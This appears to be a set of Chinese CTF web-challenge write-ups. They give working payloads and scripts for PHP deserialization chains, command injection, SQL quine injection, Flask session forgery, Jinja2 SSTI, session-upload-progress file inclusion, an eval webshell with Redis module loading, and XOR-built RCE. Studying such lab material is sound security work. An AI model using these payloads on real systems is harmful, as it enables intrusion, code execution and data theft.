include 'flag.php';
class pkshow
{
function echo_name()
{
return "Pk very safe^.^";
}
}
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new pkshow;
}
function __toString()
{
if (isset($this->cinder))
return $this->cinder->echo_name();
}
}
class ace
{
public $filename;
public $openstack;
public $docker;
function echo_name()
{
$this->openstack = unserialize($this->docker);
$this->openstack->neutron = $heat;
if($this->openstack->neutron === $this->openstack->nova)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "keystone lost~";
}
}
}
}
if (isset($_GET['pks']))
{
$logData = unserialize($_GET['pks']);
echo $logData;
}
else
{
highlight_file(__file__);
}
?>
这道题还是反着来,先去找pop链的尾部,找到尾部之后再往前翻
1.要想读出 flag.php 就要触发 file_get_contents() 函数;
2.要想触发 file_get_contents() 函数就要触发 ace 的 echo_name();
3.寻找 echo_name(),发现 acp 的__toString() 中恰好有这个函数,所以要想触发 ace 的 echo_name() 就要触发 acp 的 __toString() 且使 acp $this->cinder = new ace();
4.acp 实例化时会自动调用 __construct(),所以要想触发 __toString() 就要使 acp $this->cinder=对象,正好与上述分析所需的 $this->cinder = new ace() 相呼应。
pop链的构造:
acp->__construct() => acp->__toString() => ace->echo_name() => file_get_contents(flag.php)。
构造过程中有两个需要特别注意的点,一个是从未出现过的$heat变量,一个是unserialize($this->docker)。如何满足$this->openstack->neutron === $this->openstack->nova是这道题的关键。
同一个类中的两个属性进行强比较,neutron有了赋值且赋值是$heat(整体没有出现)而nova又没有,这种情况下看着是无法相等的,但是这样可以利用null来进行比较,换句话说只要dokcer的类是null,哪无论怎么赋值结果都是null
这样我们就成功的绕过的比较利用到了file_get_contents()函数
class acp
{
protected $cinder;
public $neutron;
public $nova;
function __construct()
{
$this->cinder = new ace;
}
}
class ace
{
public $filename='flag.php';
public $openstack;
public $docker;
}
$a=new acp();
$b=new ace();
$b->docker=null;
echo urlencode(serialize($a));
?>
上传之后发现flag在另外一个里面,修改一下poc继续上传
发现还是没有
返回到上级目录看看
最后的payload:
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A19%3A%22..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
得到flag
按给的提示做
应该是传want=flag
说不是admin
抓包看一下,改了之后
说不在本地,用xff,得到flag
源代码里没什么东西,访问一下index.php
没找到什么,开扫
扫到了robots.txt,访问一下,发现了访问地址
发现是php thinkv5
报错发现是5.0.22版本
可以直接去网上找payload
cat flag没出来,发现用../../../../../flag他也出不来
去前面找找看看是不是有什么敏感词,发现了nss
先访问一下这个
接着访问
有flag,cat发现还是没有,再ls
还有一层应该是
得到了flag
抓个包看看
没什么东西,访问robots.txt,发现了fakeflag,
访问发现提示
郝,找到正牌的了
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
去非洲吧
第一关
if(intval($num) < 2020 && intval($num + 1) > 2021){
先看第一题,以GET方式传入参数,传入的num经过intval函数处理后,需要大于2020,且加1后需小于2021。intval函数用于获取变量的整数值,也就无法输入小数绕过
知识点:PHP弱类型及intval函数使用不当
这里使用intval函数后与2020比较没有问题,但是问题出在与2021比较之前num加了1
使用
‘2e4’
来绕过,intval()会识别为字符串看做整数2,而且php还有个强制转换的机制,如果将一个字符串和一个数字相加,首先php会将字符串转换成数字,然后将两个数字相加。
?num=2e4
第二关
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
这里需要满足 一个数和MD5值相等,不能用数组绕过,就用科学计数法,满足开头都是0e就ok
md5=0e215962017
第三关
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
以GET方式传入get_flag,传入的参数会执行system。strstr函数检测到空格则返回空格,str_ireplace函数检测到cat替换为wctf2020
空格绕过 ${IFS} cat绕过
过了这三关就能得到flag
先看一下根目录
?num=2e4&md5=0e215962017&get_flag=ls
得到flag地址,直接rce得到flag
得到了正经的东西
// 首先 username 必须是admin
if ($username !== 'admin') {
alertMes('only admin can login', 'index.php');
}// 其次输入的密码不得在黑名单
function checkSql($s) {
if(preg_match("/regexp|between|in|flag|=|>|<|and|\||right|left|reverse|update|extractvalue|floor|substr|&|;|\\\$|0x|sleep|\ /i",$s)){
alertMes('hacker', 'index.php');
}
}
checkSql($password);// sql查询语句
SELECT password FROM users WHERE username='admin' and password='$password';// 最后当我们输入的 password 等于 $password 输出flag
if ($row['password'] === $password) {
die($FLAG);
}
- if ($row['password'] === $password) {
- die($FLAG);
- } else {
- alertMes("wrong password",'index.php');
这个if判断了从数据库中查到的密码是否和用户输入的是一样的,只有完全一致才会得到FLAG,
通过分析发现只有输入正确的密码才能得到FLAG,但是这张表其实是一张空表,所以爆破密码这条路走不通。
那就只有一个办法,就是构造一个输入输出完全一致的语句,就可以绕过限制并得到FLAG
注入的payload;
1'/**/union/**/select/**/replace(replace('1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#',char(34),char(39)),char(46),'1"/**/union/**/select/**/replace(replace(".",char(34),char(39)),char(46),".")#')#
CTFHUB 2021-第五空间 yet_another_mysql_injection-CSDN博客x
详细的还是看这位大佬的wp吧,我讲不明白,触及到知识盲区了
得到了flag
class lyh{
public $url = 'NSSCTF.com';
public $lt;
public $lly;
function __destruct()
{
$a = $this->lt;
$a($this->lly);
}
}
unserialize($_POST['nss']);
highlight_file(__FILE__);
?>
只需要给下边这两个变量赋值就ok了
public $lt='system';
public $lly='cat /flag';
得到flag
class A{
public $code = "";
function __call($method,$args){
eval($this->code);
}
function __wakeup(){
$this->code = "";
}
}
class B{
function __destruct(){
echo $this->a->a();
}
}
if(isset($_REQUEST['poc'])){
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
unserialize($_REQUEST['poc']);
}
}else{
highlight_file(__FILE__);
}
我们只需要绕过__wakeup
preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
if (isset($ret[1])) {
foreach ($ret[1] as $i) {
if(intval($i)!==1){
exit("you want to bypass wakeup ? no !");
}
}
这里有个过滤
反序列化要绕过wakeup,正常就是改数字,但是这里有个正则过滤
注意匹配的是大写字母,而类的名称大小写即可,于是可以绕过
看到了eval函数,危险函数命令执行,传就行了
查看phpinfo页面,发现命令执行的东西都被限制了
这里我们使用蚁剑连接
打开蚁剑连接
?poc=O:1:%22b%22:2:{s:1:%22a%22;O:1:%22a%22:1:{s:4:%22code%22;s:16:%22eval($_POST[1]);%22;}}
html目录下有config文件,里面有redis密码
第一次看到so文件
计算机系统: 共享对象文件(.so文件)详解,全面解析!-CSDN博客
先在html目录下上传恶意so文件
上传完成后使用蚁剑redis插件连接
右键执行命令
MODULE LOAD /var/www/html/exp.so
system.exec "命令"
得到flag
输入127.0.0.1发现有按钮
点击之后发现要管理员才能拿到
抓包看看能改哪里
通过抓包后,在cookie字段发现了 特殊的东西,前面翻译过来跟题目没有太大关系,所以最后就看session字段,看着不像是base64,burp解码也不行
根据题目提示以及这个session知道了这道题要考session伪造
先说一下session的作用:
由于http协议是一个无状态的协议,也就是说同一个用户第一次请求和第二次请求是完全没有关系的,但是现在的网站基本上有登录使用的功能,这就要求必须实现有状态,而session机制实现的就是这个功能。
用户第一次请求后,将产生的状态信息保存在session中,这时可以把session当做一个容器,它保存了正在使用的所有用户的状态信息;这段状态信息分配了一个唯一的标识符用来标识用户的身份,将其保存在响应对象的cookie中;当第二次请求时,解析cookie中的标识符,拿到标识符后去session找到对应的用户的信息。session伪造攻击是一种非常流行的针对session的攻击方式.它之所以流行的主要原因是:它是一个攻击者获得一个有效的SESSION ID(标识符)最简单的方法,使用这种方法,可以模仿当前用户的SESSION ID,伪装成这个用户,然后进一步进行SESSION劫持攻击。
flask session的储存方式:
第一种方式:直接存在客户端的cookies中
第二种方式:存储在服务端,如:redis,memcached,mysql,file,mongodb等等,存在flask-session第三方库,flask的session可以保存在客户端的cookie中,那么就会产生一定的安全问题。
flask框架的session若存储在客户端,就需要解决session被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改。
flask的session格式:
flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) 、时间戳 、签名组成的。
base64解码发现 是json格式的base64加密
json
json的全称为:JavaScript Object Notation,是一种轻量级的数据交互格式。
JSON支持数据格式:
json的数据可以用花括号{}或中括号[]包裹,对应js中的object和array
对象:使用花括号
数组:使用方括号
字符串类型:必须使用双引号
整形、浮点型、布尔类型还有null类型
多个数据之间使用逗号分开json本质上就是一个字符串
要进行session伪造我们就要先得到secret_key,这里猜测key为LitCTF(题目)
脚本是借鉴的大佬的
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='',
help='Secret key', required=True)
parser_encode.add_argument('-t', '--cookie-structure', metavar='',
help='Session cookie structure', required=True)
## create the parser for the decode command
parser_decode = subparsers.add_parser('decode', help='decode')
parser_decode.add_argument('-s', '--secret-key', metavar='',
help='Secret key', required=False)
parser_decode.add_argument('-c', '--cookie-value', metavar='',
help='Session cookie value', required=True)
## get args
args = parser.parse_args()
## find the option chosen
if(args.subcommand == 'encode'):
if(args.secret_key is not None and args.cookie_structure is not None):
print(FSCM.encode(args.secret_key, args.cookie_structure))
elif(args.subcommand == 'decode'):
if(args.secret_key is not None and args.cookie_value is not None):
print(FSCM.decode(args.cookie_value,args.secret_key))
elif(args.cookie_value is not None):
print(FSCM.decode(args.cookie_value))
这个1.py就是我的脚本
得到flag
题目的提示
电话号是11位的,之前好像做过类似的题,属于社工类吧
用识图看一看
在百度识图找到,古迹酒店
搜一下
看着还是像的 电话号码也是11位
输入纯数字的电话号码,得到flag
正则过滤了换行符和异或符号,所以考虑利用preg_match本身回身回溯超过1000000会返回false绕过。
脚本
import requests payload = '{"cmd":"cmd", "a":"'+'#'*1000000+'"}' res = requests.post("http://node4.anna.nssctf.cn:28764/",data = {"letter":payload}) print(res.text)
脚本发个包,发现没有返回再加把油喔
,说明preg_match()
函数被成功绕过了。
然后就是考虑【命令】如何绕过checkdata()
函数检测的问题了。
这题是黑盒,也可以自己fuzz,结果不变。
过滤的很死,依靠函数执行命令行不通了。那么命令执行我们就采用短标签+反引号。
?>= `nl /f*`?>
最终的payload
import requests payload = '{"cmd":"?>= `nl /f*`?>", "a":"'+'#'*1000000+'"}' res = requests.post("http://node4.anna.nssctf.cn:28764/",data = {"letter":payload}) print(res.text)
得到flag
发现页面除了能点加减号以外什么都干不了
抓个包发现了js代码
还是要看看源代码,在侧边栏打开更多工具,打开网页源代码
在源代码里找到了一个base64编码,解码看看
是一个php页面,打开
得到了代码
打开hint2.php
这道题目的切入点在
call_user_func
(
$_GET
[
'p'
]);
这个位置
这个是把第一个参数作为回调函数使用
这一题类似于以下这个例子
这里调用的类方法是
Echo “hello”
调用的格式为
myclass::say_hello
那么回到刚刚那个题目
用nss2就可以回调就可以看到flag了应该
这里只有以恶搞类nss这个类中有一个函数可以调用就是include(‘hint2.php’)
可以试验一下看看能不能调用
这里还要学习一个新的运算符 ::双冒号运算符
我们可以直接利用双冒号运算符去访问类中的方法,因为正则表达式中匹配到了n和c,但是用到的修饰符是/m多文本匹配,所以我们可以采用大小写看能否绕过,所以构造payload
用nss发现这个 ,那就用nss2就可以了
得到flag
扫描后得/secret
告诉我你的秘密我会加密它
应该是要进行一个传参,随便传一个数进去会返回一个不一样的字符,传入该字符又得回原来的数,猜测应该是一个对称加密,但这远远不知道是什么
题目标签是ssti,尝试用{{7*7}}注入
进到了这个页面里
找到了源码文件
if(secret==None):#判断是否为空
return 'Tell me your secret.I will encrypt it so others can\'t see'
rc=rc4_Modified.RC4("HereIsTreasure") #对传入的内容进行rc4解密,密钥为HereIsTreasure
deS=rc.do_crypt(secret)
a=render_template_string(safe(deS))#对rc4解密后的内容进行safe安全检测,最后进行字符串渲染
if 'ciscn' in a.lower():
return 'flag detected!'
return a
要先rce加密,密钥为HereIsTreasure
网上找到脚本尝试{{7*7}} 加密
import base64 from urllib import parse def rc4_main(key="init_key", message="init_message"): # 返回加密后得内容 s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox(key): s_box = list(range(256)) j = 0 for i in range(256): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt(plain, box): res = [] i = j = 0 for s in plain: i = (i + 1) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) cipher = "".join(res) return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')) key = "HereIsTreasure" # 此处为密文 message = input("请输入明文:\n") enc_base64 = rc4_main(key, message) enc_init = str(base64.b64decode(enc_base64), 'utf-8') enc_url = parse.quote(enc_init) print("rc4加密后的url编码:" + enc_url) # print("rc4加密后的base64编码"+enc_base64)
发现存在ssti注入
实行文件读写和命令执行的基本操作:获取基本类->获取基本类的子类->在子类中找到关于命令执行和文件读写的模块。本质就是通过python 的对象的继承来一步步实现文件读取和命令执行的。
{{config.__class__.__init__.__globals__['os'].popen('cat /f*').read()}}
config在这个代码片段中,使用config作为占位符是因为这个变量在模板渲染时已经存在
class返回当前类
init初始化类
globals对包含函数全局变量的字典的引用,所有的函数都会有一个__globals__属性,它会以一个 dict ,返回函数所在模块命名空间中的所有变量
.popen()方法的操作系统中打开一个子进程,并执行cat /f*的命令
更多有关 Jinja2引擎的魔术方法参考:
[CISCN 2019华东南]Double Secret-CSDN博客
最后的payload:
?secret=.%14%19V¥%09%0DglÓç%2C½¾÷»'¬kz%C2%88mé|%03%C2%85%07¶%1Có%0Dà!%C2%84O×%04â%17Û%40%C2%9D%C2%82ñ*3ó%0Aª%C2%ADCb*¬)m%C2%83%7F%07Âó%0DX»%C2%86%1C»Mr%0D*ô
代码审计
phpinfo LFI-本地临时文件包含_php 临时文件包含_amingMM的博客-CSDN博客
当 mode=eval 时,若 shell 无值,则执行phpinfo(); 若有值则经过滤后执行shell值的代码;file有值时经过滤后进行文件包含。所以攻击点有两个,一个是变量 shell 的 RCE ,一个是 file 的文件包含,由于 shell 变量需要经过filter($shell) | checkNums($shell),限制太多,想要通过 RCE 得到 flag 几乎无从下手,于是我们考虑从file寻找攻击点
PHP LFI本地文件包含漏洞主要是包含本地服务器上存储的一些文件,例如 session 文件、日志文件、临时文件等。但是,只有我们能够控制包含的文件存储我们的恶意代码才能拿到服务器权限。假如在服务器上找不到我们可以包含的文件,那该怎么办?此时可以通过利用一些技巧让服务存储我们恶意生成的文件,该文件包含我们构造的的恶意代码,此时服务器就存在我们可以包含的文件了。
首先看利用最方便的日志文件包含,日志文件目录路径一般过长,会被过滤掉而无法包含
session文件包含
然后尝试用session文件包含,一般利用GET传参将我们构造好的恶意代码传入session中的,但没有 GET 传参还能往 session 中写入代码吗?当然可以,php 5.4后添加了 session.upload_progress 功能,这个功能开启意味着当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中,利用这个特性可以将恶意语句写入session文件。
访问/?mode=eval查看 phpinfo 内容,定位到 session 相关的信息,标注箭头处是比较关键的信息
那么讲解一下关键选项
session.auto_start:如果 session.auto_start=On ,则PHP在接收请求的时候会自动初始化 Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。但session还有一个默认选项,session.use_strict_mode默认值为 off。此时用户是可以自己定义 Session ID 的。比如,我们在 Cookie 里设置 PHPSESSID=ph0ebus ,PHP 将会在服务器上创建一个文件:/tmp/sess_ph0ebus”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get(“session.upload_progress.prefix”)+由我们构造的 session.upload_progress.name 值组成,最后被写入 sess_ 文件里。
session.save_path:负责 session 文件的存放位置,后面文件包含的时候需要知道恶意文件的位置,如果没有配置则不会生成session文件
session.upload_progress_enabled:当这个配置为 On 时,代表 session.upload_progress 功能开始,如果这个选项关闭,则这个方法用不了
session.upload_progress_cleanup:这个选项默认也是 On,也就是说当文件上传结束时,session 文件中有关上传进度的信息立马就会被删除掉;这里就给我们的操作造成了很大的困难,我们就只能使用条件竞争(Race Condition)的方式不停的发包,争取在它被删除掉之前就成功利用
session.upload_progress_name:当它出现在表单中,php将会报告上传进度,最大的好处是,它的值可控
session.upload_progress_prefix:它+session.upload_progress_name 将表示为 session 中的键名
综上所述,这种利用方式需要满足下面几个条件:
目标环境开启了session.upload_progress.enable选项
发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
请求的Cookie中包含Session ID
注意的是,如果我们只上传一个文件,这里也是不会遗留下Session文件的,所以表单里必须有两个以上的文件上传。
这里还是用大佬的脚本,在这一块还是差的太多了
# -*- coding: utf-8 -*- import io import requests import threading myurl = 'http://node4.anna.nssctf.cn:28628' sessid = '7t0' myfile = io.BytesIO(b'hakaiisu' * 1024) writedata = {"PHP_SESSION_UPLOAD_PROGRESS": ""} mycookie = {'PHPSESSID': sessid} def writeshell(session): while True: resp = requests.post(url=myurl, data=writedata, files={'file': ('hakaiisu.txt', 123)}, cookies=mycookie) def getshell(session): while True: payload_url = myurl + '?file=' + '/tmp/sess_' + sessid resp = requests.get(url=payload_url) if 'upload_progress' in resp.text: print(resp.text) break else: pass if __name__ == '__main__': session = requests.session() writeshell = threading.Thread(target=writeshell, args=(session,)) writeshell.daemon = True writeshell.start() getshell(session)
简单的一道反序列化构造
要绕过一个__wakeup(),
改成员数量大于实际成员数量就行了
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
最终的payload:O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}
得到flag
属于无字母rce
异或,取反,自增,脚本,4种方式可供选择
我采取的是用异或的方式 这里的异或是指的php的按位异或,在php中两个字符进行异或后还是一个字符。所以我们可以选择两个不是字母的字符,将它对应的ascii码值进行异或运算后得到我们想要的字母。
假如我们现在想要字母E
,E对应的ASCII码值为01000101
,我选择了>
和{
进行异或得到E。
这个选法不是固定的,只要两个非字母的字符进行异或得到想要的字母都可以。
按照这个思路我们就可以开始构造了。因为php5中的assert函数会将括号里面的字符串当作php代码来执行。因此我们可以构造出assert($_GET[6])
来获取flag。构造结果如下:
a:'%40'^'%21' ;s:'%7B'^'%08' ; e:'%7B'^'%1E' ; r:'%7E'^'%0C' ; t:'%7C'^'%08'
G:'%3C'^'%7B';E:'%3E'^'%7B';T:'%0B'^'%5F';
//拼接起来
$_=('%40'^'%21').('%7B'^'%08').('%7B'^'%08').('%7B'^'%1E').('%7E'^'%0C').('%7C'^'%08'); // $_=assert
$_1='_'.('%3C'^'%7B').('%3E'^'%7B').('%0B'^'%5F');//$_1=_GET
$_2=$$_1; #$_2=$_GET
$_($_2[6]); //assert($_GET[6])
把上面的构造放一排就可以了。
[HUBUCTF 2022 新生赛]HowToGetShell题解_dockerere的博客-CSDN博客
推荐这篇博客给大家